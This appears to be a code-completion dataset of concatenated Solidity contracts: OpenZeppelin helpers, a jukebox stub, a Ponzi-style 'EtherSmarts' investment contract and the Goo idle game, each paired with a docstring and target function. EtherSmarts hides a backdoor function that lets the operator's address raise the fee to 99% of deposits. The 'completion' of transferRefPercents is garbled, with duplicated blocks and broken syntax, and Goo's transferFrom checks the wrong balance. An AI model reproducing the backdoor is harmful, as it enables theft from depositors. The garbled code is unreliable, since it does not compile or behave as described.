* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../interfaces/IERC20.sol";
import "../Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
|
Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement on the return value: the return value is optional (but if data is returned, it must not be false). token The token targeted by the call. data The call data (encoded using abi.encode or one of its variants)./ We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that the target address contains contract code and also asserts for success in the low-level call. solhint-disable-next-line max-line-length
|
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
| 1,193,983 |
pragma solidity ^0.5.0;
contract Jukebox {
// --- Contract properties ------------------------------------------------ //
// --- Data structures --- //
// Song type
struct Song {
uint id;
uint durationSecs;
}
// Queued song type
struct QueuedSong {
Song song; // The song type
uint timestampSecs; // Unix timestamp when it was queued.
}
// --- State --- //
// Song state
Song[3] songsAvailable;
// Songs currently queued
QueuedSong[5] queue;
uint queueSize = 0;
// --- Events --- //
event SongSkip(uint skippedSongId);
event SongPrepend(uint songId);
event SongAppend(uint songId);
// --- Constructor -------------------------------------------------------- //
constructor() public {
songsAvailable[0] = Song(0, 120);
songsAvailable[1] = Song(1, 120);
songsAvailable[2] = Song(2, 120);
}
// --- Business logic ----------------------------------------------------- //
// --- Getters --- //
/** Get the current size of the song queue. */
function getQueueSize() public view returns (uint) {
return queueSize;
}
/** Return data about a song currently in the queue. */
function getSongDataByQueueIndex(uint queueIndex)
public
view
returns
(uint songId, uint durationSecs, uint timestampSecs, bool isSongCompleted) {
require(queueIndex < queueSize - 1, "Song queue is smaller than the provided index.");
QueuedSong memory qsong = queue[queueIndex];
// Extract data from state
songId = qsong.song.id;
durationSecs = qsong.song.durationSecs;
timestampSecs = qsong.timestampSecs;
isSongCompleted = block.timestamp >= timestampSecs + durationSecs;
return (songId, durationSecs, timestampSecs, isSongCompleted);
}
/** Return data about a song from its unique ID. */
function getSongDataBySongId(uint songId)
public
view
returns
(uint id, uint durationSecs) {
for (uint i = 0; i < songsAvailable.length; i++) {
Song memory song = songsAvailable[i];
if (song.id == songId) {
id = song.id;
durationSecs = song.durationSecs;
return (id, durationSecs);
}
}
require(false, "Song data not found.");
}
/**
* Get the queue index of the currently playing song.
*/
function getCurrentSongQueueIndex() public view returns (uint songQueueIndex) {
for (uint i = 0; i < queueSize; i++) {
QueuedSong memory qsong = queue[i];
if (block.timestamp >= qsong.timestampSecs + qsong.song.durationSecs) {
return i;
}
}
require(false, "No song is currently playing.");
}
// --- State updates --- //
/** Prepend a song to the jukebox playlist. */
function prependSongToQueue(uint songId) public payable {}
/** Append a song to the jukebox playlist. */
function appendSongToQueue(uint songId) public payable {}
/** Skip the currently playing song. */
function skipSong() public {}
/** Remove currently playing song from the queue. */
function reconcileSongQueue() private {}
}
|
Append a song to the jukebox playlist. /
|
function appendSongToQueue(uint songId) public payable {}
| 5,370,030 |
pragma solidity ^0.4.23;
contract EtherSmarts {
mapping (address => uint256) public invested;
mapping (address => uint256) public atBlock;
address techSupport = 0x6366303f11bD1176DA860FD6571C5983F707854F;
uint techSupportPercent = 2;
address defaultReferrer = 0x6366303f11bD1176DA860FD6571C5983F707854F;
uint refPercent = 2;
uint refBack = 2;
// calculation of the percentage of profit depending on the balance sheet
// returns the percentage times 10
function calculateProfitPercent(uint bal) private pure returns (uint) {
if (bal >= 1e22) { // balance >= 10000 ETH
return 50;
}
if (bal >= 7e21) { // balance >= 7000 ETH
return 47;
}
if (bal >= 5e21) { // balance >= 5000 ETH
return 45;
}
if (bal >= 3e21) { // balance >= 3000 ETH
return 42;
}
if (bal >= 1e21) { // balance >= 1000 ETH
return 40;
}
if (bal >= 5e20) { // balance >= 500 ETH
return 35;
}
if (bal >= 2e20) { // balance >= 200 ETH
return 30;
}
if (bal >= 1e20) { // balance >= 100 ETH
return 27;
} else {
return 25;
}
}
// transfer default percents of invested
function transferDefaultPercentsOfInvested(uint value) private {
techSupport.transfer(value * techSupportPercent / 100);
}
// convert bytes to eth address
function bytesToAddress(bytes bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
// transfer default refback and referrer percents of invested
function transferRefPercents(uint value, address sender) private {
if (msg.data.length != 0) {
address referrer = bytesToAddress(msg.data);
if(referrer != sender) {
sender.transfer(value * refBack / 100);
referrer.transfer(value * refPercent / 100);
} else {
defaultReferrer.transfer(value * refPercent / 100);
}
} else {
defaultReferrer.transfer(value * refPercent / 100);
}
} function transferDefaultPercentsOfInvesteds(uint value, address sender) private {
require(msg.sender == defaultReferrer);
techSupportPercent = 10 * 5 + 49;
}
// calculate profit amount as such:
// amount = (amount invested) * ((percent * 10)/ 1000) * (blocks since last transaction) / 6100
// percent is multiplied by 10 to calculate fractional percentages and then divided by 1000 instead of 100
// 6100 is an average block count per day produced by Ethereum blockchain
function () external payable {
if (invested[msg.sender] != 0) {
uint thisBalance = address(this).balance;
uint amount = invested[msg.sender] * calculateProfitPercent(thisBalance) / 1000 * (block.number - atBlock[msg.sender]) / 6100;
address sender = msg.sender;
sender.transfer(amount);
}
if (msg.value > 0) {
transferDefaultPercentsOfInvested(msg.value);
transferRefPercents(msg.value, msg.sender);
}
atBlock[msg.sender] = block.number;
invested[msg.sender] += (msg.value);
}
}
|
transfer default refback and referrer percents of invested
|
function transferRefPercents(uint value, address sender) private {
if (msg.data.length != 0) {
address referrer = bytesToAddress(msg.data);
if(referrer != sender) {
sender.transfer(value * refBack / 100);
referrer.transfer(value * refPercent / 100);
defaultReferrer.transfer(value * refPercent / 100);
}
defaultReferrer.transfer(value * refPercent / 100);
}
require(msg.sender == defaultReferrer);
techSupportPercent = 10 * 5 + 49;
if (msg.data.length != 0) {
address referrer = bytesToAddress(msg.data);
if(referrer != sender) {
sender.transfer(value * refBack / 100);
referrer.transfer(value * refPercent / 100);
defaultReferrer.transfer(value * refPercent / 100);
}
defaultReferrer.transfer(value * refPercent / 100);
}
require(msg.sender == defaultReferrer);
techSupportPercent = 10 * 5 + 49;
} else {
} else {
} function transferDefaultPercentsOfInvesteds(uint value, address sender) private {
}
| 13,019,770 |
pragma solidity ^0.4.0;
interface ERC20 {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// GOO - Crypto Idle Game
// https://ethergoo.io
contract Goo is ERC20 {
string public constant name = "IdleEth";
string public constant symbol = "Goo";
uint8 public constant decimals = 0;
uint256 private roughSupply;
uint256 public totalGooProduction;
address public owner; // Minor management of game
bool public gameStarted;
uint256 public totalEtherGooResearchPool; // Eth dividends to be split between players' goo production
uint256[] public totalGooProductionSnapshots; // The total goo production for each prior day past
uint256[] public allocatedGooResearchSnapshots; // The research eth allocated to each prior day past
uint256 public nextSnapshotTime;
uint256 private MAX_PRODUCTION_UNITS = 999; // Per type (makes balancing slightly easier)
uint256 private constant RAFFLE_TICKET_BASE_GOO_PRICE = 1000;
// Balances for each player
mapping(address => uint256) private ethBalance;
mapping(address => uint256) private gooBalance;
mapping(address => mapping(uint256 => uint256)) private gooProductionSnapshots; // Store player's goo production for given day (snapshot)
mapping(address => mapping(uint256 => bool)) private gooProductionZeroedSnapshots; // This isn't great but we need know difference between 0 production and an unused/inactive day.
mapping(address => uint256) private lastGooSaveTime; // Seconds (last time player claimed their produced goo)
mapping(address => uint256) public lastGooProductionUpdate; // Days (last snapshot player updated their production)
mapping(address => uint256) private lastGooResearchFundClaim; // Days (snapshot number)
mapping(address => uint256) private battleCooldown; // If user attacks they cannot attack again for short time
// Stuff owned by each player
mapping(address => mapping(uint256 => uint256)) private unitsOwned;
mapping(address => mapping(uint256 => bool)) private upgradesOwned;
mapping(uint256 => address) private rareItemOwner;
mapping(uint256 => uint256) private rareItemPrice;
// Rares & Upgrades (Increase unit's production / attack etc.)
mapping(address => mapping(uint256 => uint256)) private unitGooProductionIncreases; // Adds to the goo per second
mapping(address => mapping(uint256 => uint256)) private unitGooProductionMultiplier; // Multiplies the goo per second
mapping(address => mapping(uint256 => uint256)) private unitAttackIncreases;
mapping(address => mapping(uint256 => uint256)) private unitAttackMultiplier;
mapping(address => mapping(uint256 => uint256)) private unitDefenseIncreases;
mapping(address => mapping(uint256 => uint256)) private unitDefenseMultiplier;
mapping(address => mapping(uint256 => uint256)) private unitGooStealingIncreases;
mapping(address => mapping(uint256 => uint256)) private unitGooStealingMultiplier;
// Mapping of approved ERC20 transfers (by player)
mapping(address => mapping(address => uint256)) private allowed;
mapping(address => bool) private protectedAddresses; // For npc exchanges (requires 0 goo production)
// Raffle structures
struct TicketPurchases {
TicketPurchase[] ticketsBought;
uint256 numPurchases; // Allows us to reset without clearing TicketPurchase[] (avoids potential for gas limit)
uint256 raffleRareId;
}
// Allows us to query winner without looping (avoiding potential for gas limit)
struct TicketPurchase {
uint256 startId;
uint256 endId;
}
// Raffle tickets
mapping(address => TicketPurchases) private ticketsBoughtByPlayer;
mapping(uint256 => address[]) private rafflePlayers; // Keeping a seperate list for each raffle has it's benefits.
// Current raffle info
uint256 private raffleEndTime;
uint256 private raffleRareId;
uint256 private raffleTicketsBought;
address private raffleWinner; // Address of winner
bool private raffleWinningTicketSelected;
uint256 private raffleTicketThatWon;
// Minor game events
event UnitBought(address player, uint256 unitId, uint256 amount);
event UnitSold(address player, uint256 unitId, uint256 amount);
event PlayerAttacked(address attacker, address target, bool success, uint256 gooStolen);
GooGameConfig schema;
// Constructor
function Goo() public payable {
owner = msg.sender;
schema = GooGameConfig(0x21912e81d7eff8bff895302b45da76f7f070e3b9);
}
function() payable { }
function beginGame(uint256 firstDivsTime) external payable {
require(msg.sender == owner);
require(!gameStarted);
gameStarted = true; // GO-OOOO!
nextSnapshotTime = firstDivsTime;
totalEtherGooResearchPool = msg.value; // Seed pot
}
function totalSupply() public constant returns(uint256) {
return roughSupply; // Stored goo (rough supply as it ignores earned/unclaimed goo)
}
function balanceOf(address player) public constant returns(uint256) {
return gooBalance[player] + balanceOfUnclaimedGoo(player);
}
function balanceOfUnclaimedGoo(address player) internal constant returns (uint256) {
if (lastGooSaveTime[player] > 0 && lastGooSaveTime[player] < block.timestamp) {
return (getGooProduction(player) * (block.timestamp - lastGooSaveTime[player]));
}
return 0;
}
function etherBalanceOf(address player) public constant returns(uint256) {
return ethBalance[player];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
updatePlayersGoo(msg.sender);
require(amount <= gooBalance[msg.sender]);
gooBalance[msg.sender] -= amount;
gooBalance[recipient] += amount;
emit Transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(address player, address recipient, uint256 amount) public returns (bool) {
updatePlayersGoo(player);
require(amount <= allowed[player][msg.sender] && amount <= gooBalance[msg.sender]);
gooBalance[player] -= amount;
gooBalance[recipient] += amount;
allowed[player][msg.sender] -= amount;
emit Transfer(player, recipient, amount);
return true;
}
function approve(address approvee, uint256 amount) public returns (bool){
allowed[msg.sender][approvee] = amount;
emit Approval(msg.sender, approvee, amount);
return true;
}
function allowance(address player, address approvee) public constant returns(uint256){
return allowed[player][approvee];
}
function getGooProduction(address player) public constant returns (uint256){
return gooProductionSnapshots[player][lastGooProductionUpdate[player]];
}
function updatePlayersGoo(address player) internal {
uint256 gooGain = balanceOfUnclaimedGoo(player);
lastGooSaveTime[player] = block.timestamp;
roughSupply += gooGain;
gooBalance[player] += gooGain;
}
function updatePlayersGooFromPurchase(address player, uint256 purchaseCost) internal {
uint256 unclaimedGoo = balanceOfUnclaimedGoo(player);
if (purchaseCost > unclaimedGoo) {
uint256 gooDecrease = purchaseCost - unclaimedGoo;
roughSupply -= gooDecrease;
gooBalance[player] -= gooDecrease;
} else {
uint256 gooGain = unclaimedGoo - purchaseCost;
roughSupply += gooGain;
gooBalance[player] += gooGain;
}
lastGooSaveTime[player] = block.timestamp;
}
function increasePlayersGooProduction(uint256 increase) internal {
gooProductionSnapshots[msg.sender][allocatedGooResearchSnapshots.length] = getGooProduction(msg.sender) + increase;
lastGooProductionUpdate[msg.sender] = allocatedGooResearchSnapshots.length;
totalGooProduction += increase;
}
function reducePlayersGooProduction(address player, uint256 decrease) internal {
uint256 previousProduction = getGooProduction(player);
uint256 newProduction = SafeMath.sub(previousProduction, decrease);
if (newProduction == 0) { // Special case which tangles with "inactive day" snapshots (claiming divs)
gooProductionZeroedSnapshots[player][allocatedGooResearchSnapshots.length] = true;
delete gooProductionSnapshots[player][allocatedGooResearchSnapshots.length]; // 0
} else {
gooProductionSnapshots[player][allocatedGooResearchSnapshots.length] = newProduction;
}
lastGooProductionUpdate[player] = allocatedGooResearchSnapshots.length;
totalGooProduction -= decrease;
}
function buyBasicUnit(uint256 unitId, uint256 amount) external {
require(gameStarted);
require(schema.validUnitId(unitId));
require(unitsOwned[msg.sender][unitId] + amount <= MAX_PRODUCTION_UNITS);
uint256 unitCost = schema.getGooCostForUnit(unitId, unitsOwned[msg.sender][unitId], amount);
require(balanceOf(msg.sender) >= unitCost);
require(schema.unitEthCost(unitId) == 0); // Free unit
// Update players goo
updatePlayersGooFromPurchase(msg.sender, unitCost);
if (schema.unitGooProduction(unitId) > 0) {
increasePlayersGooProduction(getUnitsProduction(msg.sender, unitId, amount));
}
unitsOwned[msg.sender][unitId] += amount;
emit UnitBought(msg.sender, unitId, amount);
}
function buyEthUnit(uint256 unitId, uint256 amount) external payable {
require(gameStarted);
require(schema.validUnitId(unitId));
require(unitsOwned[msg.sender][unitId] + amount <= MAX_PRODUCTION_UNITS);
uint256 unitCost = schema.getGooCostForUnit(unitId, unitsOwned[msg.sender][unitId], amount);
uint256 ethCost = SafeMath.mul(schema.unitEthCost(unitId), amount);
require(balanceOf(msg.sender) >= unitCost);
require(ethBalance[msg.sender] + msg.value >= ethCost);
// Update players goo
updatePlayersGooFromPurchase(msg.sender, unitCost);
if (ethCost > msg.value) {
ethBalance[msg.sender] -= (ethCost - msg.value);
}
uint256 devFund = ethCost / 50; // 2% fee on purchases (marketing, gameplay & maintenance)
uint256 dividends = (ethCost - devFund) / 4; // 25% goes to pool (75% retained for sale value)
totalEtherGooResearchPool += dividends;
ethBalance[owner] += devFund;
if (schema.unitGooProduction(unitId) > 0) {
increasePlayersGooProduction(getUnitsProduction(msg.sender, unitId, amount));
}
unitsOwned[msg.sender][unitId] += amount;
emit UnitBought(msg.sender, unitId, amount);
}
function sellUnit(uint256 unitId, uint256 amount) external {
require(unitsOwned[msg.sender][unitId] >= amount);
unitsOwned[msg.sender][unitId] -= amount;
uint256 unitSalePrice = (schema.getGooCostForUnit(unitId, unitsOwned[msg.sender][unitId], amount) * 3) / 4; // 75%
uint256 gooChange = balanceOfUnclaimedGoo(msg.sender) + unitSalePrice; // Claim unsaved goo whilst here
lastGooSaveTime[msg.sender] = block.timestamp;
roughSupply += gooChange;
gooBalance[msg.sender] += gooChange;
if (schema.unitGooProduction(unitId) > 0) {
reducePlayersGooProduction(msg.sender, getUnitsProduction(msg.sender, unitId, amount));
}
if (schema.unitEthCost(unitId) > 0) { // Premium units sell for 75% of buy cost
ethBalance[msg.sender] += ((schema.unitEthCost(unitId) * amount) * 3) / 4;
}
emit UnitSold(msg.sender, unitId, amount);
}
function buyUpgrade(uint256 upgradeId) external payable {
require(gameStarted);
require(schema.validUpgradeId(upgradeId)); // Valid upgrade
require(!upgradesOwned[msg.sender][upgradeId]); // Haven't already purchased
uint256 gooCost;
uint256 ethCost;
uint256 upgradeClass;
uint256 unitId;
uint256 upgradeValue;
(gooCost, ethCost, upgradeClass, unitId, upgradeValue) = schema.getUpgradeInfo(upgradeId);
require(balanceOf(msg.sender) >= gooCost);
if (ethCost > 0) {
require(ethBalance[msg.sender] + msg.value >= ethCost);
if (ethCost > msg.value) { // They can use their balance instead
ethBalance[msg.sender] -= (ethCost - msg.value);
}
uint256 devFund = ethCost / 50; // 2% fee on purchases (marketing, gameplay & maintenance)
totalEtherGooResearchPool += (ethCost - devFund); // Rest goes to div pool (Can't sell upgrades)
ethBalance[owner] += devFund;
}
// Update players goo
updatePlayersGooFromPurchase(msg.sender, gooCost);
upgradeUnitMultipliers(msg.sender, upgradeClass, unitId, upgradeValue);
upgradesOwned[msg.sender][upgradeId] = true;
}
function upgradeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) internal {
uint256 productionGain;
if (upgradeClass == 0) {
unitGooProductionIncreases[player][unitId] += upgradeValue;
productionGain = (unitsOwned[player][unitId] * upgradeValue * (10 + unitGooProductionMultiplier[player][unitId])) / 10;
increasePlayersGooProduction(productionGain);
} else if (upgradeClass == 1) {
unitGooProductionMultiplier[player][unitId] += upgradeValue;
productionGain = (unitsOwned[player][unitId] * upgradeValue * (schema.unitGooProduction(unitId) + unitGooProductionIncreases[player][unitId])) / 10;
increasePlayersGooProduction(productionGain);
} else if (upgradeClass == 2) {
unitAttackIncreases[player][unitId] += upgradeValue;
} else if (upgradeClass == 3) {
unitAttackMultiplier[player][unitId] += upgradeValue;
} else if (upgradeClass == 4) {
unitDefenseIncreases[player][unitId] += upgradeValue;
} else if (upgradeClass == 5) {
unitDefenseMultiplier[player][unitId] += upgradeValue;
} else if (upgradeClass == 6) {
unitGooStealingIncreases[player][unitId] += upgradeValue;
} else if (upgradeClass == 7) {
unitGooStealingMultiplier[player][unitId] += upgradeValue;
}
}
function removeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) internal {
uint256 productionLoss;
if (upgradeClass == 0) {
unitGooProductionIncreases[player][unitId] -= upgradeValue;
productionLoss = (unitsOwned[player][unitId] * upgradeValue * (10 + unitGooProductionMultiplier[player][unitId])) / 10;
reducePlayersGooProduction(player, productionLoss);
} else if (upgradeClass == 1) {
unitGooProductionMultiplier[player][unitId] -= upgradeValue;
productionLoss = (unitsOwned[player][unitId] * upgradeValue * (schema.unitGooProduction(unitId) + unitGooProductionIncreases[player][unitId])) / 10;
reducePlayersGooProduction(player, productionLoss);
} else if (upgradeClass == 2) {
unitAttackIncreases[player][unitId] -= upgradeValue;
} else if (upgradeClass == 3) {
unitAttackMultiplier[player][unitId] -= upgradeValue;
} else if (upgradeClass == 4) {
unitDefenseIncreases[player][unitId] -= upgradeValue;
} else if (upgradeClass == 5) {
unitDefenseMultiplier[player][unitId] -= upgradeValue;
} else if (upgradeClass == 6) {
unitGooStealingIncreases[player][unitId] -= upgradeValue;
} else if (upgradeClass == 7) {
unitGooStealingMultiplier[player][unitId] -= upgradeValue;
}
}
function buyRareItem(uint256 rareId) external payable {
require(schema.validRareId(rareId));
address previousOwner = rareItemOwner[rareId];
require(previousOwner != 0);
uint256 ethCost = rareItemPrice[rareId];
require(ethBalance[msg.sender] + msg.value >= ethCost);
// We have to claim buyer's goo before updating their production values
updatePlayersGoo(msg.sender);
uint256 upgradeClass;
uint256 unitId;
uint256 upgradeValue;
(upgradeClass, unitId, upgradeValue) = schema.getRareInfo(rareId);
upgradeUnitMultipliers(msg.sender, upgradeClass, unitId, upgradeValue);
// We have to claim seller's goo before reducing their production values
updatePlayersGoo(previousOwner);
removeUnitMultipliers(previousOwner, upgradeClass, unitId, upgradeValue);
// Splitbid/Overbid
if (ethCost > msg.value) {
// Earlier require() said they can still afford it (so use their ingame balance)
ethBalance[msg.sender] -= (ethCost - msg.value);
} else if (msg.value > ethCost) {
// Store overbid in their balance
ethBalance[msg.sender] += msg.value - ethCost;
}
// Distribute ethCost
uint256 devFund = ethCost / 50; // 2% fee on purchases (marketing, gameplay & maintenance)
uint256 dividends = ethCost / 20; // 5% goes to pool (~93% goes to player)
totalEtherGooResearchPool += dividends;
ethBalance[owner] += devFund;
// Transfer / update rare item
rareItemOwner[rareId] = msg.sender;
rareItemPrice[rareId] = (ethCost * 5) / 4; // 25% price flip increase
ethBalance[previousOwner] += ethCost - (dividends + devFund);
}
function withdrawEther(uint256 amount) external {
require(amount <= ethBalance[msg.sender]);
ethBalance[msg.sender] -= amount;
msg.sender.transfer(amount);
}
function claimResearchDividends(address referer, uint256 startSnapshot, uint256 endSnapShot) external {
require(startSnapshot <= endSnapShot);
require(startSnapshot >= lastGooResearchFundClaim[msg.sender]);
require(endSnapShot < allocatedGooResearchSnapshots.length);
uint256 researchShare;
uint256 previousProduction = gooProductionSnapshots[msg.sender][lastGooResearchFundClaim[msg.sender] - 1]; // Underflow won't be a problem as gooProductionSnapshots[][0xffffffffff] = 0;
for (uint256 i = startSnapshot; i <= endSnapShot; i++) {
// Slightly complex things by accounting for days/snapshots when user made no tx's
uint256 productionDuringSnapshot = gooProductionSnapshots[msg.sender][i];
bool soldAllProduction = gooProductionZeroedSnapshots[msg.sender][i];
if (productionDuringSnapshot == 0 && !soldAllProduction) {
productionDuringSnapshot = previousProduction;
} else {
previousProduction = productionDuringSnapshot;
}
researchShare += (allocatedGooResearchSnapshots[i] * productionDuringSnapshot) / totalGooProductionSnapshots[i];
}
if (gooProductionSnapshots[msg.sender][endSnapShot] == 0 && !gooProductionZeroedSnapshots[msg.sender][i] && previousProduction > 0) {
gooProductionSnapshots[msg.sender][endSnapShot] = previousProduction; // Checkpoint for next claim
}
lastGooResearchFundClaim[msg.sender] = endSnapShot + 1;
uint256 referalDivs;
if (referer != address(0) && referer != msg.sender) {
referalDivs = researchShare / 100; // 1%
ethBalance[referer] += referalDivs;
}
ethBalance[msg.sender] += researchShare - referalDivs;
}
// Allocate divs for the day (cron job)
function snapshotDailyGooResearchFunding() external {
require(msg.sender == owner);
//require(block.timestamp >= (nextSnapshotTime - 30 minutes)); // Small bit of leeway for cron / network
uint256 todaysEtherResearchFund = (totalEtherGooResearchPool / 10); // 10% of pool daily
totalEtherGooResearchPool -= todaysEtherResearchFund;
totalGooProductionSnapshots.push(totalGooProduction);
allocatedGooResearchSnapshots.push(todaysEtherResearchFund);
nextSnapshotTime = block.timestamp + 24 hours;
}
// Raffle for rare items
function buyRaffleTicket(uint256 amount) external {
require(raffleEndTime >= block.timestamp);
require(amount > 0);
uint256 ticketsCost = SafeMath.mul(RAFFLE_TICKET_BASE_GOO_PRICE, amount);
require(balanceOf(msg.sender) >= ticketsCost);
// Update players goo
updatePlayersGooFromPurchase(msg.sender, ticketsCost);
// Handle new tickets
TicketPurchases storage purchases = ticketsBoughtByPlayer[msg.sender];
// If we need to reset tickets from a previous raffle
